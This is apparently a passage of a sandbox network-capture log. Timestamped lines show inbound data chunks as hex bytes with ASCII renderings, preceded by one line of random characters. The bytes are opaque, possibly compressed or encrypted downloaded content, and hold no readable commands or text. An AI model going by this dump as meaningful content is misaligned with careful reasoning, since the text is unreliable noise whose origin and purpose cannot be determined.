ZW$]j'?[Hwt^%W&ly,cW5y"3{3lF4q~+b],icW=w/l)ZFX4U3vTy!g}"t70Rb*.kX9e Ih_}fQ'5x+k!Ld_8AR6. s9l~l
2021-10-12 00:46:20 UTC	2590	IN	Data Raw: 99 13 47 e7 71 63 a0 11 0a b9 88 17 48 bb fe 53 86 4f cc f7 83 8a 92 dd 1f ff ea c3 a1 6d a1 6c 62 dc f4 af 2f 11 5c d4 c9 87 54 a9 13 f0 31 9e 7e 8c 38 f4 d1 2e 9a 8f 5d 1e 8e 43 e3 5f 32 c5 fb 3c 4d 04 62 5e 2d 03 e7 de b1 0a 6a c6 c0 44 0d 52 c1 36 17 f5 a8 61 f2 9e 1c 11 5c cb f1 47 40 4a 2d 78 db d0 36 5e a0 a6 79 ea d5 57 61 ba e9 a6 46 01 df 5e a3 92 0a ce 8e 57 94 27 2f fe 12 e7 11 d7 c3 48 8f 5e 96 89 2c 9d b6 66 66 9e 6e 0a 54 f0 ca 15 75 d9 56 ca ee af 12 09 77 94 db 5f 27 2b 05 0b 6c c6 d8 5f 15 20 8a 20 4c 18 be 85 9a 91 c0 64 b7 28 61 63 ca af 8d 4d 92 df de 23 57 b2 75 bf 02 a9 48 03 17 cc 39 f5 94 b1 dd d2 69 e0 f0 0f 13 34 94 61 d5 08 6c ad 56 68 0b 58 95 8b 01 a6 6d 76 3e ab 25 df b0 7f d8 56 0e 83 76 c8 6c ef 97 e9 97 e4 1e a4 a2 76 47 Data Ascii: GqcHSOmlb/\T1~8.]C_2<Mb^-jDR6a\G@J-x6^yWaF^W'/H^,ffnTuVw_'+l_ Ld(acM#WuH9i4alVhXmv>%VvlvG
2021-10-12 00:46:20 UTC	2606	IN	Data Raw: 02 64 42 6f f6 da e0 e2 c2 0d 95 ba 01 07 65 83 0e 97 30 6a 70 3a 22 52 e8 55 5c f1 32 c1 59 93 93 b5 df de a7 1d 6b 43 51 c1 47 88 e2 1c 0a 3c 85 b6 e9 b9 59 60 6e 39 ac 86 c5 04 c1 78 df 87 c7 46 b3 cd f7 1e 64 4a 7f 8f f0 40 d6 32 7c 81 a0 e9 38 c6 6e e8 9a f9 68 14 87 ae 98 fc 29 db 23 5e 75 c1 bc 6b 31 a6 f8 d7 f0 60 cc 70 5d 46 0b 3a b4 f0 8c a8 9f dd cf e2 24 94 54 5a 1a be d4 e7 13 3b d7 1b 7c 4e 5d 40 f8 60 09 f6 f9 15 9d 60 c8 ca b8 ae 7a a9 8a 1d 75 7d ef 0a 0d 87 12 89 c5 19 e6 55 f9 6e 24 6e 15 48 93 69 06 ab 51 94 30 e6 3b 80 5e 6a ff f6 ac 67 d5 ee 2e 9e b0 57 85 85 23 5a 90 24 16 60 af e2 a0 dd 2c 3e f1 c7 42 8d c3 52 fe 84 1e b9 11 ac d3 73 9e 1a f9 af 63 e3 7f 7b f5 df 33 4c ad 53 e0 77 57 98 4c 07 8d 36 98 12 e1 2e 5b 2a f1 a1 64 5d 16 Data Ascii: dBoe0jp:"RU\2YkCQG<Y`n9xFdJ@2\|8nh)#^uk1`p]F:$TZ;\|N]@``zu}Un$nHiQ0;^jg.W#Z$`,>BRsc{3LSwWL6.[*d]
2021-10-12 00:46:20 UTC	2622	IN	Data Raw: c8 0f dd 06 bf df bb 6a cb ff 51 54 bb f3 45 16 3d cc b6 c2 28 8b 47 b8 2d b0 7f 92 6d cb c0 55 11 c7 2a c2 73 4a df 48 e4 63 98 92 08 e9 31 c3 6f a1 f7 50 ce f7 a2 65 fc ef 5e 0f 9b 7d ba a7 89 9a 12 29 7e f4 86 8f 7a 17 15 a1 93 70 9b e7 a4 97 da 2d 15 1e d4 81 81 b3 da aa e7 6c 97 f3 94 8b a5 11 d9 62 f9 6b 5f 4c 47 75 77 4f 59 70 64 51 91 3b 18 07 87 e3 75 11 eb 35 13 fc 09 05 89 20 44 7f c1 8c f7 79 ae 7e de 25 a9 14 37 e8 00 da 87 4e 6d d7 9d 2e 39 85 13 ff a1 c5 c7 2f ee 86 98 53 e1 b8 fe 00 93 fd 4e 32 62 11 fb 88 6d e5 b0 d0 a9 bc 03 b1 75 1a d3 62 5a b1 ab 84 6d 84 98 ff 93 07 9f a2 59 23 39 cf ff dd bc 3a 7d c0 af dc 12 1c b6 b4 7b 9b 70 c8 10 a8 39 49 ca 63 77 5d ed 20 cf f2 17 4c 6b 9f ac de 7f 64 2e 8d 47 f9 d8 65 c5 bd bc 53 b8 de 5b 90 ad Data Ascii: jQTE=(G-mU*sJHc1oPe^})~zp-lbk_LGuwOYpdQ;u5 Dy~%7Nm.9/SN2bmubZmY#9:}{p9Icw] Lkd.GeS[
2021-10-12 00:46:20 UTC	2638	IN	Data Raw: 55 3f c2 8d 2e de 37 de da f3 83 14 12 c1 26 b1 7a 86 bc b1 4e 07 f6 a2 b8 57 bb 55 7e a0 7b e8 3d 90 23 42 e2 6c 8e b2 69 74 51 7d 9e 53 7d 91 d6 a3 d6 27 d4 f4 fe ad de 23 4f bb 65 a0 23 3a cc 80 33 75 36 dd 7f 06 4c 36 66 e9 de 4b 5f d6 41 0c e2 b5 f5 7c 35 61 9f db 82 89 e7 23 d2 ea 70 e9 69 1e 80 cc 7c 22 f7 8c e9 a0 16 f1 af f0 81 38 0c c8 68 ae 99 7a 60 f0 32 17 01 c6 9f a6 86 d2 f1 09 c8 0b 44 73 88 df 87 80 e5 2c 6d d4 df 1c c0 27 46 ee 2b 82 eb f1 02 eb 8d 39 f3 8f 67 01 ad 0c 43 b8 fb 78 1b 7c 7d c7 2b da 48 bb c1 af ea 2b 17 0c d9 fd 6d bf 6c dc 2d 16 4f 2e 1a 5c 3f 51 b7 52 c7 29 69 53 f4 d1 d3 64 47 38 6d 0d 3e 56 80 a2 ff 30 4d 95 70 e9 41 04 7c eb 21 53 5a 67 27 d3 3b a9 e3 54 37 a7 04 27 71 a7 53 bf 74 3b 15 e6 61 76 7b 69 f7 19 3b 03 4a Data Ascii: U?.7&zNWU~{=#BlitQ}S}'#Oe#:3u6L6fK_A\|5a#pi\|"8hz`2Ds,m'F+9gCx\|}+H+ml-O.\?QR)iSdG8m>V0MpA\|!SZg';T7'qSt;av{i;J
2021-10-12 00:46:20 UTC	2654	IN	Data Raw: 1b 77 4a ab 9b bb fe 36 af 1b e3 e4 11 e5 e6 4c 28 8d 46 bd 19 0c 87 4a e2 57 38 51 b5 e7 00 3f 36 54 e4 e8 3a 0e 88 90 92 a5 0b fe 72 7b 52 44 3d 5e 86 0a 4b ba 38 dc 3f 88 27 0a 56 44 20 79 e4 66 dd d2 d1 ba 3e 1b b4 9f a6 95 e8 7a 4d 1b b9 ea 9d 30 eb 73 bc 85 47 e4 a7 74 6c d8 2c 6f 05 c6 2a 10 f2 a2 28 c8 34 f4 e0 be fc a6 b7 70 da 6b c8 bc cb f8 ab 0e f4 9a 43 6e 48 eb ed e7 00 b5 ab fe 3a 41 dd d3 e7 d0 6a 9a d7 cd 91 2d f3 49 22 7d 92 ff 95 a1 74 7a 2e b1 eb a3 a3 05 2f a1 44 11 5f 77 c2 03 27 35 15 57 30 5b 45 52 f8 31 0d bb 38 5f 9e bb 66 05 97 8f 60 31 d6 ff cc 24 dd ad 29 c0 ce 79 9b 29 09 03 55 85 fd 71 e8 ca 7a a7 aa 2c 31 75 ff b9 76 8e 53 56 32 1c d1 20 78 5d 82 e4 b5 f7 99 6d 14 5a 08 a4 cf 9a e0 f9 15 8a 11 51 2a 57 fd 41 e4 34 9f 50 27 Data Ascii: wJ6L(FJW8Q?6T:r{RD=^K8?'VD yf>zM0sGtl,o(4pkCnH:Aj-I"}tz./D_w'5W0[ER18_f`1$)y)Uqz,1uvSV2 x]mZQWA4P'
2021-10-12 00:46:20 UTC	2670	IN	Data Raw: dc 78 58 f9 39 cd 6d 71 2b 86 8e ea f4 39 23 a8 e2 53 17 ab 8b e8 d7 7b c9 ed 08 55 dc 77 39 97 f9 ad db fd 67 53 38 3b e6 92 e9 f4 9e 4f 05 7f 10 41 0e 32 d2 bc c7 8c 89 be b6 9f c4 88 03 81 4c 52 6b a3 f6 2e 3e 4c 50 53 2a d0 1a 2a bd 9b 6a b4 af 9e 27 2c 36 00 1d 52 e3 be 53 0c 4c 3e 07 dc fb c3 33 01 3f cc 5d 2e 7a f5 c7 7a 1f 33 17 d8 cc 58 43 8a 9a 1f 5c d9 6a 5e f1 48 06 bb b8 03 7b ed 90 f2 20 25 00 18 87 5e bc 12 e5 76 75 33 62 b2 1f 3a 75 50 5e be 03 54 22 8e 22 41 d1 7c 89 c2 a8 81 d8 ce 72 94 06 f2 82 4a 20 0d 0d 98 fc 63 8e 2d 05 b1 51 0b a9 6f b8 6c 23 63 a6 a4 13 83 32 0b 3a 74 47 7b b7 e6 93 ed 0e 13 b0 e5 30 7e fb 86 77 f0 b4 ca 33 b2 34 8b 50 dd 16 fe 9e 4d 0d b7 e3 81 a9 14 6f c2 04 7f 4d 52 a5 af 40 a7 07 a9 d1 58 bb 3a 75 e5 33 da 71 Data Ascii: xX9mq+9#S{Uw9gS8;OA2LRk.>LPS**j',6RSL>3?].zz3XC\j^H{ %^vu3b:uP^T""A\|rJ c-Qol#c2:tG{0~w34PMoMR@X:u3q
2021-10-12 00:46:20 UTC	2686	IN	Data Raw: 74 71 4d 06 c7 69 36 d4 c1 60 b9 64 7e 61 18 9a c3 8d 66 82 90 54 1d 05 4b 46 cf 34 67 60 ab 8a ed a1 05 21 75 d6 3d ba f1 24 87 5a d7 ee 43 03 93 46 7b c6 79 70 e0 80 a4 b0 f8 81 c5 a4 14 fa a8 2d 1c 36 a4 dc eb a2 f2 2d 88 66 2c ce e0 36 1b 79 8a ea 5e 14 d1 69 24 38 f5 c8 c7 0c e9 09 93 62 bc a0 af 66 e1 a9 6b ff c0 fd dd e3 8e 96 32 8c 5a 91 90 ae 45 18 2f 5c fe dc 20 29 f6 b9 cc 43 62 4f 13 03 33 f9 40 b9 39 65 38 9a 29 94 90 dc d1 f5 db 51 32 7c 2d 82 b2 8b 0f b1 19 bb 49 92 ce a7 04 4a 81 fb 46 e0 d6 92 35 d3 37 75 83 b6 bd c8 d5 20 b8 a6 23 dd 4d e0 bb af 84 b1 9c e2 49 a1 51 60 13 ab aa 9c b6 e8 62 a6 ff 32 2b f2 f8 c6 1a 0d 05 73 30 df 0f 54 d5 ff 2e 38 10 ae 4c 97 a1 28 fc a3 f4 38 aa b2 8e 84 77 6a b5 a8 2d 1e bb ba fb d5 c4 5b fe db 0b a2 13 Data Ascii: tqMi6`d~afTKF4g`!u=$ZCF{yp-6-f,6y^i$8bfk2ZE/\ )CbO3@9e8)Q2\|-IJF57u #MIQ`b2+s0T.8L(8wj-[
2021-10-12 00:46:20 UTC	2702	IN	Data Raw: 5f 10 d2 76 ab 27 58 60 65 ae 59 9d 74 b5 f1 94 ee ca d1 45 16 71 22 72 ec 04 f6 a0 d5 b0 89 0a 86 44 d4 8a 62 f3 74 c9 02 79 24 b5 db a2 fd 0b 96 7c f1 fb 65 20 98 e4 be f2 92 ba bb 6c 23 c7 f5 2d df 97 5b 3f d5 65 94 16 c2 dd 76 61 d5 71 f5 10 23 4a 58 8c 0f 93 b0 32 bc 36 6b 96 72 0c 09 8b 01 f6 58 a9 97 ac 79 e7 5d 07 5d 17 34 c7 50 86 d4 49 f7 a5 f6 55 72 b3 33 30 df be 3e 2a a5 fb 9f f0 23 c3 d9 49 7b 40 f9 00 f6 dd 84 7c 52 9f 06 07 b4 45 0f 59 c6 e5 ec 0e 25 35 4d 6d 58 8b ad f9 18 98 bc 23 aa ac 09 fb 71 48 f3 56 5b 42 9d ab 28 17 9c 65 02 21 fc 4f 26 7c 15 47 4b 28 f5 ed 4a 64 d6 15 5d a2 b8 32 55 4e 16 c6 77 e5 08 01 5c fc 98 5a 02 8e d9 5d 5e 35 d2 23 de 23 20 ac 60 3f e3 62 f0 49 85 d2 b1 82 7f 57 9d d3 fc a1 97 79 32 df 25 16 06 60 b2 4e c2 Data Ascii: _v'X`eYtEq"rDbty$\|e l#-[?evaq#JX26krXy]]4PIUr30>*#I{@\|REY%5MmX#qHV[B(e!O&\|GK(Jd]2UNw\Z]^5## `?bIWy2%`N
2021-10-12 00:46:20 UTC	2718	IN	Data Raw: 5d 58 7b ca a9 cb 59 7b 38 fb 1b 64 ae bf 04 46 57 6b 55 1e 53 1f 6d a3 c1 ff 34 4d 56 e9 ce 56 7b 47 72 e8 d2 a0 10 67 d9 d6 13 38 c1 91 95 d4 32 c9 27 2c 03 17 ec 28 db 0c 56 23 54 20 f0 fb 91 34 8e 80 f6 9a 52 e7 b6 93 1c d9 b2 4d b3 e5 51 9e e5 de 76 3a 75 51 3b b6 58 cd 69 3d 73 e8 de 53 1b ae 00 2c 3b e4 73 9e b4 6d 47 fe af 20 0c 78 d3 1b 11 b8 ad 36 ae 8b 26 30 40 9f 97 12 d7 0b 8d 96 4f e1 28 63 ea b4 5b bd 69 77 6b d7 6d 96 43 d5 89 90 8c b0 c0 7d bc 8d 7b 3c e9 4c ad 81 2f b7 13 70 0f 32 bb 9a 69 c3 05 f8 df 42 1e 26 3e ee d8 67 28 7f 7f 9c 22 3b d0 21 09 2d f7 c7 08 01 73 de ed e2 85 b2 66 b1 dd b1 b4 91 28 cc b8 25 16 a5 82 fd ac 61 0a c0 2b 96 20 39 33 f1 fd 1b fa 2b d2 2c ad 16 a3 0a fa 5f 12 21 ed be 3a 58 35 a5 94 06 cd 52 e1 63 af 63 6a Data Ascii: ]X{Y{8dFWkUSm4MVV{Grg82',(V#T 4RMQv:uQ;Xi=sS,;smG x6&0@O(c[iwkmC}{<L/p2iB&>g(";!-sf(%a+ 93+,_!:X5Rccj
2021-10-12 00:46:20 UTC	2734	IN	Data Raw: 64 a4 c5 78 b5 75 33 f2 c7 23 ca 16 12 9b f1 2b 9a 9b 1f e4 0a d1 a1 7d cb 82 cf 2a 15 d5 75 c6 1a 1e d5 aa 11 f1 17 89 0a 83 a7 84 99 2f 93 5c be ea b0 9f 62 06 ff 00 05 53 ef 1f 8a 07 a9 d4 ca 53 e2 31 98 5c a3 9e 0e 4f ca 98 1a f4 77 74 86 45 fe db a3 cf 78 cc d5 5b 5e c1 66 c3 00 5d 52 36 5c 4a 79 cf e5 a2 62 58 db 87 79 9a 50 83 fe 2b b7 72 e2 b9 ba c6 32 5e 6c 09 cf 2c 1e 09 d6 ec 29 ae ba ea 3a 15 a0 f5 0b ae 3c 8b 61 5f 37 76 e5 f6 0d 59 0e ea e0 b1 af 7e 07 3c 69 1f 50 26 93 e0 f0 fd ef 95 2c db 08 d3 60 26 31 3d 86 3b 05 b8 56 51 b1 78 28 d2 e3 a9 81 b1 3e 9e 9e ac cf 79 9e 9e 47 15 83 4e 84 f5 b8 ca 4c d9 ef 25 59 42 35 d9 9b 59 88 97 aa bf 90 d5 54 6c 41 8e 69 a5 f7 01 c0 97 56 61 db 77 bd f8 dd 64 71 a7 5d 68 5e d4 be f4 52 cb cc 73 1d cd 64 Data Ascii: dxu3#+}*u/\bSS1\OwtEx[^f]R6\JybXyP+r2^l,):<a_7vY~<iP&,`&1=;VQx(>yGNL%YB5YTlAiVawdq]h^Rsd
2021-10-12 00:46:20 UTC	2750	IN	Data Raw: ce 60 77 61 6e 14 da 6a 53 91 d7 a1 b6 56 bf 7f 5b f6 66 07 1e e7 f9 58 ea c8 b9 6c 89 21 d6 74 04 74 21 32 04 d3 76 3a 01 a1 52 02 a9 f6 51 9f 1e 47 df b2 26 42 ba 0f e8 0f 7f d9 63 a5 77 5e 91 0c d5 c8 0f 11 68 8d 11 ec a2 57 dc c4 9f 73 30 a3 e5 8d 84 7a fa 14 1e df d3 f9 0e 09 7e e0 06 b3 df 95 c6 a5 a9 cd a5 9c 75 7f 6e df 6e 9d 58 df a5 bd 9d 79 cf dd d1 32 bd 05 df d6 02 e8 87 f5 ba fd 0f 94 17 e9 34 3e b9 87 69 97 a2 8d a8 32 cb 02 f7 f9 af c8 4f c8 35 fd 8e fc fe 7b 7b ce 2c cb c8 d1 7c f2 28 fd 0b ed e6 a6 83 ba 18 54 a1 85 d1 a7 2c c6 2d 9f d7 de b9 ea 4b dd 96 94 c9 b1 bc 0c 2e 2d 5c 18 c6 1d 62 36 88 2e 9b 17 bc 49 96 8b ef c2 86 ad 2d de 0e c1 b5 c2 4d 86 3f 60 f9 33 cc 09 e7 3e a5 bc 6d 68 5d a0 9b f2 d2 96 7d 38 ab 4a 1e ed ce 2d 57 1d dc Data Ascii: `wanjSV[fXl!tt!2v:RQG&Bcw^hWs0z~unnXy24>i2O5{{,\|(T,-K.-\b6.I-M?`3>mh]}8J-W
2021-10-12 00:46:20 UTC	2766	IN	Data Raw: 6a cc 34 cd ae 44 26 35 f3 d2 8a 5e d0 73 d8 b8 1f 6d d2 a8 38 9a 12 44 67 32 91 16 48 8e b1 d8 21 8d d9 86 77 86 7c 62 7a 1b 45 5b 8a a6 fe d0 c0 aa b0 ed 7d 48 7f 0e b8 0c e2 98 a9 87 fc 5f 4a 60 b5 52 09 01 19 d5 46 e0 63 cc d0 79 4a fc b7 9d b0 8e 93 c7 29 6e 42 22 07 19 69 10 17 58 16 1f f6 f3 33 7b eb fb 92 dd 17 80 e1 3b ed 73 bd 6b 70 dd 66 25 be 7b 62 ab 5b 36 d1 2a 7a 10 53 6c 2d 1d f2 84 69 5a 40 86 21 f6 9a 9d a6 44 15 c4 f1 d4 f0 34 60 58 7f 38 17 40 63 9a b7 e2 54 71 53 5c a3 28 28 1a 23 36 b9 c7 a8 5a fa 9d 9b 73 22 5c b2 1a 34 23 63 86 2e ad 7b 54 c4 b4 28 04 a5 c5 f5 58 77 ff 10 34 86 b1 b1 bc 5b b5 7c 19 34 75 44 43 c4 7e 38 ad 3d f2 43 86 58 2a 3e b9 4f 11 8b cc f3 d1 c1 aa cc 3a be 95 78 e6 b4 e2 00 fc c6 6a 34 17 c1 63 d5 af 14 56 65 Data Ascii: j4D&5^sm8Dg2H!w\|bzE[}H_J`RFcyJ)nB"iX3{;skpf%{b[6zSl-iZ@!D4`X8@cTqS\((#6Zs"\4#c.{T(Xw4[\|4uDC~8=CX>O:xj4cVe
2021-10-12 00:46:20 UTC	2782	IN	Data Raw: b1 b5 8f 26 eb c0 cb 06 23 03 6d 8c 9a 8f 49 d2 c7 95 fb 67 13 37 80 9f e8 4c 1d de dd 2c 11 30 a6 73 33 d2 07 b4 eb 4f 1c f1 2c 56 cb 77 83 aa d5 20 d1 c4 eb f7 ef 90 61 cd 49 16 14 35 35 8d 4b 59 e5 a4 9f 2a d4 6a be c8 5e a9 78 9f d2 73 5a b0 58 cf 23 21 6b e6 b0 85 f0 f7 3c 1b ed a0 43 34 87 d3 74 0a 4e ad f8 f5 da ec 44 b5 cd 0f 63 7b f2 66 46 5c 03 20 ab dd 10 e7 98 7c 7c 69 8c 01 8f 82 a6 31 cf cc de 61 8c dd 59 eb de f3 da 4d 0e 29 ac c2 55 ca 5c 8a 13 9a e6 a5 af 0b 5c 23 00 62 28 57 89 52 b0 e8 9b 5d 4d 8d e0 bb 35 88 ed be 6e 5d 3c ac d1 3f c6 14 21 cb af 5d dc f1 cf d6 6e 71 11 b9 4d 4d 60 d5 d6 5e 70 5c 7f a7 47 fa 49 e3 77 9c f5 ec 5e 2b 7e e6 46 72 b5 c3 c1 bc 9d 21 d3 dd e7 88 93 39 93 87 7a f7 30 a1 fb 75 30 79 4c 51 a9 1b 72 56 52 2a 95 Data Ascii: &#mIg7L,0s3O,Vw aI55KYj^xsZX#!k<C4tNDc{fF\ \|\|i1aYM)U\\#b(WR]M5n]<?!]nqMM`^p\GIw^+~Fr!9z0u0yLQrVR
2021-10-12 00:46:20 UTC	2798	IN	Data Raw: 25 ca 3b 94 b2 59 8d 45 1f 51 54 85 21 28 61 65 f2 cb fc 57 1d 2a 9e ba 56 2a 21 da 2e a3 fa 70 b5 08 0a d9 02 cd 3d fa be 0f 49 fa d2 6b 10 12 a2 d4 2f b0 b5 7c 6d 09 e0 e4 22 6c e9 6a 49 0e eb 2e 31 1b e5 d4 35 44 ec fb 01 bb f9 c2 6b 71 57 fb 94 ae 3c 93 d1 ba 5c 43 22 17 55 82 9d e2 6c fc 4a 0d 2e 88 22 c3 3c 6f 99 70 80 7c 34 1d 80 28 19 58 b7 a5 01 f9 e1 1a a0 79 72 2f 68 31 58 89 71 c1 48 44 69 8f 5b 3b 43 7a 30 78 f1 aa 4d 01 4a ef 3e ac dd e0 9a 3a 1d f4 cc 5a 0d d8 d4 84 c0 8f 90 c1 2e 00 d7 48 19 c8 60 24 4d d9 89 75 c1 27 0d 42 ec 6d 12 e1 b9 89 35 44 e1 9a a1 ae f0 a4 3f 91 b1 27 6a 58 4e 55 e0 57 20 68 9c 8b 06 df 85 08 cb c4 2a f6 4f 17 5f c2 a1 33 65 f0 e3 6d 17 b5 29 6c 06 74 53 8e b2 1c b4 e8 7c 01 4e 51 e7 9e 79 3a 0f 6d 69 c9 1e c6 db Data Ascii: %;YEQT!(aeWV!.p=Ik/\|m"ljI.15DkqW<\C"UlJ."<op\|4(Xyr/h1XqHDi[;Cz0xMJ>:Z.H`$Mu'Bm5D?'jXNUW h*O_3em)ltS\|NQy:mi
2021-10-12 00:46:20 UTC	2814	IN	Data Raw: e9 99 38 1e bc b9 e7 89 28 e8 96 7c 81 f8 a2 44 0c 30 36 4c c0 ee dd 51 e4 0c 3f 37 ad f7 59 5d e9 ea ee 95 d8 32 c8 8d 42 dd 90 ce 3e 4d 53 60 03 43 17 d2 24 08 bf 9e 36 ed 62 1e 43 7f 2f 5e 1c e8 d0 de 63 33 31 67 c9 53 4b 68 fe 15 1e c6 f9 7c 83 12 a5 86 4f 9a 32 3b 3e 68 21 7d 4d ac 0c 39 28 2f bc 23 40 0c 53 6f cc 1e d5 e0 1e 18 94 14 10 fa 62 83 2d af 7c c0 4c 55 1e 1c 5c 49 e4 6b 47 0c 81 51 2b 1f b1 1e 92 cf 3a f3 17 a2 6d 77 42 1f 28 f4 7b 4c 8a e3 fb f6 b3 3a 16 2f 0c 34 0a f0 a8 7c 3c cf ce d8 6f 97 1e 90 08 e0 66 89 57 a3 c3 84 f1 7b 2f 26 78 56 2f 7c f3 ed 20 79 1d b6 5c 80 f3 71 63 45 02 32 24 b1 8a a7 41 72 40 98 ac b5 1e 93 3a 75 cd 1e 87 2d 26 3c 3a 14 c2 e5 4b d0 66 48 a1 ca 42 f0 57 6a 97 db 5f f2 83 80 7a ad 28 c5 79 5d 45 76 42 c1 cc Data Ascii: 8(\|D06LQ?7Y]2B>MS`C$6bC/^c31gSKh\|O2;>h!}M9(/#@Sob-\|LU\IkGQ+:mwB({L:/4\|<ofW{/&xV/\| y\qcE2$Ar@:u-&<:KfHBWj_z(y]EvB
2021-10-12 00:46:20 UTC	2830	IN	Data Raw: d8 02 f7 5c c3 08 4a 6f 25 81 a3 1a 9a f2 2b 59 db 7e 0d 43 a2 e4 8e f6 94 fc 7b 82 dc 77 ea 09 23 22 ba bb 87 d0 73 a8 fe db c6 93 2e b2 3f 25 70 12 20 73 a4 0b 31 11 71 55 1e 86 35 25 b3 28 ed 5c 6c 1a 51 28 ec 1a 98 d4 8a da b5 81 e7 a5 31 4e 20 f0 b4 d0 c6 78 45 e8 7a ce 29 46 5a 5f ea e7 7f 6c d8 5c 35 9b 96 a0 0c 1a 5a 17 b3 32 21 f9 2e 8b 88 51 ef 89 2d 5b 5b 76 84 58 83 29 ab fe cd 25 4c 35 c9 1e 58 de 0f f8 43 aa 1a c7 df 81 74 da 6a c9 03 ce 7a 81 f9 93 41 87 03 e5 e5 3c 3c 30 c6 54 7c a5 a0 4a 24 8f cd db 07 a9 ae 98 ce 73 c1 db ba b4 f7 af 71 af 21 11 fc e6 f5 78 39 66 4c 75 e2 5b 48 8d 33 42 77 b5 e3 a2 0e 12 a9 16 36 73 ac e3 61 1f d9 00 2d f9 3c 6e a3 6d 99 99 85 36 5c f1 e2 32 f6 c9 39 91 41 46 70 01 d4 cf e4 0d 1b fd 92 22 d1 09 01 05 c4 Data Ascii: \Jo%+Y~C{w#"s.?%p s1qU5%(\lQ(1N xEz)FZ_l\5Z2!.Q-[[vX)%L5XCtjzA<<0T\|J$sq!x9fLu[H3Bw6sa-<nm6\29AFp"
2021-10-12 00:46:20 UTC	2846	IN	Data Raw: 5b a2 cf bd 66 98 47 71 20 6a 91 72 55 40 92 64 aa 8c c6 63 3b 48 96 af 80 ae 16 f9 96 d6 77 ec a3 65 0f c5 e4 8f 99 c2 56 6b fc 67 cc fa da ec 87 cb 6c fe a7 26 ff 54 90 4c 4c d6 5c 61 20 c8 45 f9 9d c2 d4 30 a2 ac 62 a6 29 77 7d 82 c4 b2 c7 e0 b8 65 14 1a b2 9b 6f 71 ca 55 1d a6 71 77 bd 8a e3 18 f1 bb 5c 95 d3 0f 08 d8 73 29 75 27 24 2a 96 5c 07 b9 ee 93 0f 60 ad db 73 1d c5 9f 9e fa b0 6d cd e9 6a 2a 37 ea 02 a7 96 66 b5 b3 55 3b 05 08 c7 77 24 a8 b3 32 13 27 ef 0c b8 6e d1 6f 41 d8 47 f7 dd 31 1d eb d7 b4 34 77 61 21 34 ef d6 15 c2 ae a6 f2 b0 da a8 1f 09 a8 b6 d9 75 3f ad d2 f7 70 16 30 51 37 87 43 f9 76 38 51 f9 ef b8 86 d9 f3 fe 94 27 07 df ed f3 81 47 d4 3d ca 04 da c3 6e 28 46 26 de b8 87 fa 4e fa 08 2c d1 65 f0 91 50 f6 da 6e 10 b8 c0 3b 7c 34 Data Ascii: [fGq jrU@dc;HweVkgl&TLL\a E0b)w}eoqUqw\s)u'$\`smj7fU;w$2'noAG14wa!4u?p0Q7Cv8Q'G=n(F&N,ePn;\|4
2021-10-12 00:46:20 UTC	2862	IN	Data Raw: ef 77 b8 c8 86 14 ef 4d ea 9d 56 bd ae 34 78 db 85 4d 66 62 f6 95 73 62 53 96 49 cf dd 0e 5c e6 78 7e 34 3b d6 97 4d d9 15 d8 38 9b 32 7a 7f 78 c4 5d a5 cf 7f 17 f8 46 8c cf 1b 26 2d d2 07 5e 6b 33 cb ad 4f cd d2 33 8e f2 49 e8 7c 5e 57 3b 80 c3 de 4c 57 71 57 3d 42 5e c6 e6 39 d3 fd f7 70 64 69 22 cc 3c 9c fe c2 b4 df c1 e2 a6 b4 fb 34 b6 f8 d4 c0 a2 2b 1c a0 9d 4d e4 41 6b 85 3d ae 99 ee 07 c3 a8 74 30 38 6c f9 7a a5 6a 6b 4c a2 a7 d4 0c b5 a9 12 02 7b da c0 7b e2 df c0 35 8f 99 de 6b 91 e5 e3 e3 67 fb 40 a6 4e 1a 64 1a 1f 8e bb f0 c2 a4 5d 6b c6 2f 42 de a7 a0 47 2a 9f 41 e9 6c 8a 45 a3 5b 9e 68 18 73 83 25 60 75 ac 80 be 6d b5 20 94 c2 55 44 ab 2d 29 35 d1 cc 5f 5c 2a c9 7d 88 4a 3a 4c ab 60 ad 65 20 ee 64 ae 01 b4 9b 9f 0d 6b 65 1d ce 0f 6e fb af d3 Data Ascii: wMV4xMfbsbSI\x~4;M82zx]F&-^k3O3I\|^W;LWqW=B^9pdi"<4+MAk=t08lzjkL{{5kg@Nd]k/BGAlE[hs%`um UD-)5_\}J:L`e dken
2021-10-12 00:46:20 UTC	2878	IN	Data Raw: e6 c5 79 97 4b a7 5b 32 c5 1d 49 96 a0 4e 4b 74 b3 68 7e 2c a7 20 c8 e3 4e 08 5d 40 fb 74 bd 18 1f 16 cc fe 59 e7 5b 32 b0 9d 9e 0e a8 35 b5 41 06 38 03 6e 4c 44 7f ff 7a d7 e0 d2 72 6d f3 af bd 96 9b c5 92 17 91 2b c8 83 9b e1 38 48 72 37 99 92 91 bf 9d ab 75 31 dc 90 5c 03 c5 eb 03 e5 3f b1 c2 8b 99 5d b4 c5 2f 43 16 e7 54 7d f9 c0 97 4e da b1 0e 14 84 e8 ba 7a ac ca 47 4e b3 b6 05 64 62 4e af df dd 0d 30 01 7a 09 a8 ca 88 1d 9e d0 dd 03 e9 51 bb e8 26 ba 55 10 11 03 fd 05 23 af 1d fc 9b 3b d1 78 e1 60 39 f1 4d 94 58 e2 e3 c8 11 a2 cd 61 95 a5 48 f0 94 7b 7b c8 ea 2e a5 bb bf b1 33 80 e6 97 54 38 ba f8 0e 40 6a 59 f7 ec a4 a6 26 dc 8c b8 1f 65 13 a9 8e 23 7c 50 94 66 58 89 8d b8 91 e1 d4 59 ce 03 2b c0 fd 09 13 e1 fe da 78 5c b6 f5 00 c0 a8 0e d1 9a 9d Data Ascii: yK[2INKth~, N]@tY[25A8nLDzrm+8Hr7u1\?]/CT}NzGNdbN0zQ&U#;x`9MXaH{{.3T8@jY&e#\|PfXY+x\
2021-10-12 00:46:20 UTC	2894	IN	Data Raw: 14 af b7 c7 7e 2f 27 05 c7 17 f6 25 d1 72 04 69 1b 16 70 c3 65 54 91 15 6b 84 94 c4 cb d5 6e ca aa 0d 1f 1f 93 ef 87 ba 6c 15 16 ea d1 a4 e0 1d 07 dc 5f f6 8a 14 86 d1 2b 4e 1a d2 ad a5 09 4a f9 4c 49 e7 a1 06 b0 62 b7 54 dc f1 74 e3 98 db 1d 84 6c 1d 57 7f 74 f0 35 7b 07 cd 68 86 36 98 b0 eb 5a c5 8f 07 30 d6 24 80 42 5a b6 b9 ff 2f 4e 1b 89 4e af f8 20 8f b0 31 8b 08 93 cd 1d b5 e3 40 fc 71 f3 75 52 1c 96 f2 45 91 7d 59 83 7e 7f 4c 84 7f d6 ee 9c 89 f9 13 e1 74 5b 41 ce be 01 4b f6 88 bc 8e 42 37 51 94 e6 ba ec 61 09 59 76 25 64 8e 47 a2 c3 0e 51 e1 ff 49 3d 01 